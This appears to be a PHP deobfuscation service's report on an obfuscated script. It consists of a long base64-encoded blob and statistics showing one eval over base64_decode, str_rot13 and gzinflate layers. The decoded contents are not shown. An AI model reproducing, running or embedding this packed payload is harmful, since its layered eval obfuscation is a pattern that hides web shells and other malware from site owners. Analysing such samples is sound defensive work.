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')))));
?>

Function Calls

gzinflate 1
str_rot13 2
base64_decode 1

Variables

None

Stats

MD5 1ee41be19e297f49445412901a4f54cb
Eval Count 1
Decode Time 10413 ms